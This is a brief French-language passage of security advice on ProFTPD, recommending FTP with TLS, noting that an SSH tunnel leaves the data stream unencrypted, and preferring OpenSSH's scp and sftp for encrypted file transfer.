Utiliser Proftp? Pour une sécurité optimale, il est conseillé d'utiliser ftp avec le module TLS. Il est possible d'utiliser ftp à travers un tunnel SSH (le flux de données ne sera pas crypté). Pour une transmission de données cryptées, il est préférable d'utiliser les solutions fournies par OpenSSH (scp et sftp).